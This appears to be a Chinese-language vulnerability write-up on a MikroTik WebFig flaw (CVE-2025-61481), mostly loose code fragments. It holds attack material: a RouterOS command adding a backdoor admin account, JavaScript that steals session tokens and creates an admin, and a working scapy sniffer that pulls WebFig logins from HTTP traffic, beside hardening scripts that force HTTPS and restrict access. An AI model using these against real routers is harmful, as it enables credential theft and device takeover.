CVE-2025-61481：MikroTik WebFig 严重漏洞（RCE + 凭证泄露）深度剖析与防御指南

POST /fig HTTP/1.1
Host: 192.168.88.1
User-Agent: Mozilla/5.0
...
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

username=admin&password=MySecretPassword

/user add name=attacker password=backdoor123 group=full

# 通过 SSH 或控制台执行
/ip service set www disabled=yes
/ip service set www-ssl disabled=no
/ip service set www-ssl port=443

# 允许来自 192.168.10.0/24 的 IP 访问 HTTPS 管理端口
/ip firewall filter add chain=input protocol=tcp dst-port=443 src-address=192.168.10.0/24 action=accept
# 拒绝其他所有访问 443 端口的流量
/ip firewall filter add chain=input protocol=tcp dst-port=443 action=drop
# 同时确保限制 SSH (22) 和 API (8728) 等其他管理服务

// 模拟 WebFig 登录成功后的客户端操作
// 注意：以下代码仅为演示原理，非实际 WebFig 源码

// 假设登录成功后，服务器返回一个包含用户信息和会话令牌的响应
function onLoginSuccess(responseData) {
    // 敏感数据被明文存储在 sessionStorage 中
    sessionStorage.setItem('username', responseData.username); // 如 "admin"
    sessionStorage.setItem('sessionToken', responseData.sessionToken); // 如 "a1b2c3d4e5f6..."
    sessionStorage.setItem('userGroup', responseData.userGroup); // 如 "full"

    console.log("用户数据已存储到 sessionStorage (明文)");

    // 此后，每次 AJAX 请求都会从 sessionStorage 读取 token 并附加到 Header 中
}

// 攻击者若通过 XSS 或其他方式执行以下代码，即可窃取数据
function attackerStealData() {
    var stolenData = {
        user: sessionStorage.getItem('username'),
        token: sessionStorage.getItem('sessionToken'),
        group: sessionStorage.getItem('userGroup')
    };
    // 将 stolenData 发送到攻击者服务器
    console.log("数据被盗: ", stolenData);
}

// 如果网站未设置 HttpOnly 标志，攻击者甚至可能通过脚本创建新的管理员
function attackerCreateAdmin() {
    fetch('/rest/user/add', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
            'X-Token': sessionStorage.getItem('sessionToken') // 使用窃取的 token 认证
        },
        body: 'name=hacker&password=owned&group=full'
    });
}

# 文件名: force_https_webfig.rsc
# 描述: 用于 MikroTik RouterOS 的脚本，用于禁用不安全的 HTTP WebFig 并启用 HTTPS。

# 进入 IP 服务配置菜单
/ip service

# 禁用不安全的 HTTP 服务 (默认端口 80)
set www disabled=yes

# 启用 HTTPS 服务 (默认端口 443)
# 注意: 如果这是第一次启用，可能需要先生成一个自签名证书或上传证书。
set www-ssl disabled=no

# 确保 HTTPS 服务监听在正确的端口
set www-ssl port=443

# 可选: 限制谁可以访问 HTTPS 服务
# /ip firewall filter add chain=input protocol=tcp dst-port=443 src-address=192.168.1.0/24 action=accept
# /ip firewall filter add chain=input protocol=tcp dst-port=443 action=drop

# 打印当前服务状态进行确认
:put "WebFig 服务状态已更新:"
:put "HTTP (www) 已禁用"
:put "HTTPS (www-ssl) 已启用"

# 如果遇到证书问题，可以快速生成一个自签名证书：
# /certificate add name=webfig-cert common-name=<router_ip_or_domain> days-valid=3650 key-size=2048 trust
# /ip service set www-ssl certificate=webfig-cert

#!/usr/bin/env python3
# 文件名: http_sniffer.py
# 描述: 一个简单的网络嗅探器，用于演示如何捕获明文 HTTP POST 中的凭证。
# 警告: 仅用于授权的安全测试和教育目的。

from scapy.all import *
import re

def packet_callback(packet):
    # 检查是否为 TCP 包，且包含原始负载 (Raw)
    if packet.haslayer(TCP) and packet.haslayer(Raw):
        tcp_layer = packet.getlayer(TCP)
        raw_data = packet[Raw].load.decode(errors='ignore')

        # 简单判断是否为 HTTP POST 请求
        if "POST" in raw_data and "HTTP/1.1" in raw_data:
            # 检查是否可能发往 WebFig 路径 (/fig)
            if "/fig" in raw_data:
                print(f"[!] 捕获到潜在的 WebFig 登录流量")
                print(f"    源IP: {packet[IP].src}:{tcp_layer.sport} -> 目标IP: {packet[IP].dst}:{tcp_layer.dport}")

                # 尝试提取用户名和密码 (非常简单的正则，用于演示)
                user_match = re.search(r'username=([^&\s]*)', raw_data)
                pass_match = re.search(r'password=([^&\s]*)', raw_data)

                if user_match and pass_match:
                    print(f"[+] 凭证泄露! 用户名: {user_match.group(1)}, 密码: {pass_match.group(1)}")
                    print("-" * 50)

# 开始嗅探，例如监听 eth0 接口上的 80 端口流量
# 注意: 在真实环境中，可能需要更精细的过滤条件
print("[*] 开始嗅探 HTTP 流量 (端口 80)...")
sniff(filter="tcp port 80", prn=packet_callback, store=0)
```FINISHED